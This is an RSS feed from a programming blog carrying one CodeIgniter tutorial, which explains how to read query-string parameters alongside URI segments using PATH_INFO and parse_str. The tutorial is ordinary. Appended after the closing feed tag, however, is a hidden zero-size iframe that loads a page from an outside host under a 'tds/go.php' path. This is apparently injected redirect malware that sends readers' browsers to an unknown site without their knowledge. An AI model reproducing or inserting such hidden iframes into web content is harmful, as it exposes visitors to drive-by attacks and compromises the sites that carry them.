<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; query string</title>
	<atom:link href="http://www.dijexi.com/tag/query-string/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>How to Mix Segment and Query String in CodeIgniter</title>
		<link>http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/</link>
		<comments>http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/#comments</comments>
		<pubDate>Fri, 28 Aug 2009 03:30:53 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[query string]]></category>
		<category><![CDATA[segment]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/</guid>
		<description><![CDATA[Passing parameter to a web page build with CodeIgniter (CI) can be done by using either POST variables which comes from HTML form or from the URI. But, different from traditional web application, by default CI only recognizes a segment based URI rather than query string format for passing parameter by URI. In some circumstances [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><p>Passing parameter to a web page build with CodeIgniter (CI) can be done by using either POST variables which comes from HTML form or from the URI. But, different from traditional web application, by default CI only recognizes a segment based URI rather than query string format for passing parameter by URI.</p>
<p>In some circumstances we do need to use the query string to pass data to our page, which in this case using PHP global variable $_GET. By default, CI will not allow us to read the content of $_GET variable but instead using the URI class $this-&gt;uri-&gt;segment(the_segment_number). </p>
<p> <span id="more-1181"></span>
<p>To be able to read the content of $_GET variable within a controller we need to do several things.</p>
<p>First, edit the system/application/config/config.php file, locate the line of uri_protocol configuration, and change the value to PATH_INFO.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:fc7cb530-0708-477d-95ea-96be773193f9" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="re0">$config</span><span class="br0">&#91;</span><span class="st0">&#8216;uri_protocol&#8217;</span><span class="br0">&#93;</span>&nbsp;= <span class="st0">&quot;PATH_INFO&quot;</span>;<br />
&nbsp;</div>
</div>
<p>Then, in the controller that we need to read the $_GET variable, put this line inside the controller class constructor.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:4297f86e-d1b7-41c4-81ea-47d9a0fd7275" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><a href="http://www.php.net/parse_str"><span class="kw3">parse_str</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&#8216;QUERY_STRING&#8217;</span><span class="br0">&#93;</span>,<span class="re0">$_GET</span><span class="br0">&#41;</span>;</div>
</div>
<p>After that, the controller will be able to read the content of the $_GET variable. For example, if we call the controller by using this URI server.com/index.php/controller/abcd?q=1234&amp;js=true, then we can read each of the parameter passed on the URI like this:</p>
<p>&#160;</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:483c356d-556b-4201-a0ae-bb8f8b7dee4f" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;">$abcd=$this-&gt;uri-&gt;segment(3); // $abcd will contains &quot;abcd&quot;<br />
$q = $_GET['q'] ; // $q will contains &quot;1234&quot;<br />
$js = $_GET['js']; // $js will contains &quot;true&quot;<br />
&nbsp;</div>
</div>
<p>Here is an example of a controller class that can read both URI segment and query string.</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:27d5d8ba-866a-4ad2-a4c5-9c671f467c3b" class="wlWriterEditableSmartContent">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">class</span> Mapservices <span class="kw2">extends</span> Controller <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw2">function</span> Mapservices<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; parent::<span class="me2">Controller</span><span class="br0">&#40;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/parse_str"><span class="kw3">parse_str</span></a><span class="br0">&#40;</span><span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st0">&#8216;QUERY_STRING&#8217;</span><span class="br0">&#93;</span>,<span class="re0">$_GET</span><span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw2">function</span> lookup<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="re0">$this</span>-&gt;<span class="me1">uri</span>-&gt;<span class="me1">segment</span><span class="br0">&#40;</span><span class="nu0">3</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$q</span>=<span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&#8216;q&#8217;</span><span class="br0">&#93;</span>;</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// do the required process here&#8230;&nbsp; &nbsp; &nbsp; </span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">?&gt;</span></div>
</div>
<p>On the above example, the controller called mapservices could be called by using this URI: server.com/index.php/mapservices/cities?q=bandung .</p>
<div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:96a568db-bade-4c77-b644-69de1017b357" class="wlWriterEditableSmartContent">Technorati Tags: <a href="http://technorati.com/tags/CodeIgniter" rel="tag">CodeIgniter</a>,<a href="http://technorati.com/tags/segment" rel="tag">segment</a>,<a href="http://technorati.com/tags/query+string" rel="tag">query string</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/08/how-to-use-codeigniter-pagination-class-with-database/" rel="bookmark">How To Use CodeIgniter Pagination Class with Database</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-library-to-create-google-maps-encoded-polylines/" rel="bookmark">CodeIgniter Library to Create Google Maps Encoded Polylines</a></li><li><a href="http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 5 The Mainpage</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F08%2Fhow-to-mix-segment-and-query-string-in-codeigniter%2F&amp;linkname=How%20to%20Mix%20Segment%20and%20Query%20String%20in%20CodeIgniter"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/08/how-to-mix-segment-and-query-string-in-codeigniter/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
